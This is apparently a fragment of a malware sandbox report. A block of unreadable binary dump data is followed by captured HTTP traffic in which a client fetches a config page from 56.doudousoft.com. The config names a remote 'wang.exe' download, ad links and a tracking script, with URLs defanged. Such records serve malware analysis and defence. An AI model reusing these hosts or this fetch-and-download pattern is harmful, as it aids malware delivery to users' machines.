@n...4...f=?Y.V.|.~6..b.)|N.\...:%,ÿ........VR&.'.<...^..6...2....... P~.Q.jt....&.......m....nH.....Uf.n.^...S.S..!6maw5..?......v.c..<3...Eu;V...m~..m..Y6..F"..~.R..nn ..D...L@j....7$....)j.C.._.N..>..Q3.....$r..N.......`f........>....ON..F. ...(u...........S....d....sF.....T..^"D\......:......2,..$..@..M.o.^._.....G.V.:c@8.?G.^..R..n=.@G"......J...D.J..e...].....?1`........3... .nF.[.V........Od.|.v....h.@".?_4.)i.w.......^F.^.......Bn.j...M.b...Cv..jF.~...I...Q&v.]..'a.P..l..Z....s.'.B9..%h.jZ......m..._|.....>......%......M.a..F~.b@...-V#.X..w.I.V...7..K../......W..A...-0RI.H..b~..A/.&f..K..[.r~ ....B.&...}.p ..'...Z.O._.(XGS.j.....U......7&...5E?..?.m..8v'[Z....Dip..>BnR./.aH.\........Ajf.!...'.(^^|Vh.'...:......_..S....DYx$4....... w.?...b.......v.......FAf...e.a.N5.........>.-...c.K64.! 7......7'._o.E4^F.k.z.....f\4.-....\...!b...^.;xY....%.>............$........(..I....`.......Y...2..s..#.A....Yv.......n.........0>......V...........!.j..V.../>.T.......K^.:...a.......?OF....~..'\.....W..k............7....K.S../\T...@UOCJ'6.O..v.....]#"...O.]..u.Ed..[.=6.C........V...;..n.j..P.H....\5.?V.....A..>.~..........~..:DNq......F?:.....?.....7.6...Z..oFH.$/[...[....7... zT.4'.uG9.X...^w...`>Y.i....O~....sV..^y^...^#.>....3.GXG.Vzf...E..N.....~'....o..x3)6%.E.....^o....dT@........z....?^..!...jp..{NE.V.V..)a.6....x...@.o.=o<.....j.b.E....m.I.... G....E.A.<Bi...H."..N..!C^..sT....'...9...% hAC....0._.}.a..5....>.}...LT.KW../....@..e.'n ..A..jh...L.....o...@s.T.c..i

<<< skipped >>>

GET /ini/liuliang/wang.html HTTP/1.1

Referer: hXXp://56.doudousoft.com/ini/liuliang/wang.html

Accept: */*

Accept-Language: zh-cn

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)

Host: 56.doudousoft.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Thu, 23 Jul 2015 08:08:17 GMT

Content-Length: 1394

Content-Type: text/html

Content-Location: hXXp://56.doudousoft.com/ini/liuliang/wang.html

Last-Modified: Mon, 09 Feb 2015 08:25:13 GMT

Accept-Ranges: bytes

ETag: "2ac01bed4144d01:509e"

Server: IIS

X-Powered-By: WAF/2.0

Set-Cookie: safedog-flow-item=04BB3AA94037E5C323362778CE366DBD; expires=Thur, 23-Jul-2015 16:00:17 GMT; domain=doudousoft.com; path=/

[........]XXXX[/........]<br>..[............]..[/............]<br>..[........]5000[/........]<br>..[............]..[/............]<br>..[........]hXXp://56.doudousoft.com/updata/......../wang.exe[/........]<br>..[............]wang.exe[/............]<br>..[......]..........BUG..[/......]<br>..[..........].........html[/..........]<br>..[............]..[/............]<br>..[........]hXXp://VVV.shendusoft.com[/........]<br>..[..............]..[/..............]<br>..[..........]hXXp://56.doudousoft.com/guanggao.html[/..........]<br>..[..................]..[/..................]<br>..[..............]hXXp://u.126it.com[/..............]<br>..[................]..[/................]<br>..[............]hXXp://VVV.2345.com/?26263[/............]<br>..[....................]..[/....................]<br>..[................]hXXp://VVV.2345.com/?26263[/................]<br>..[................]2345.........lnk[/................]<br>..<script type="text/javascript">var cnzz_protocol = (("https:" == document.location.protocol) ? " hXXps://" : " hXXp://");document.write(unescape("

Map

Strings from Dumps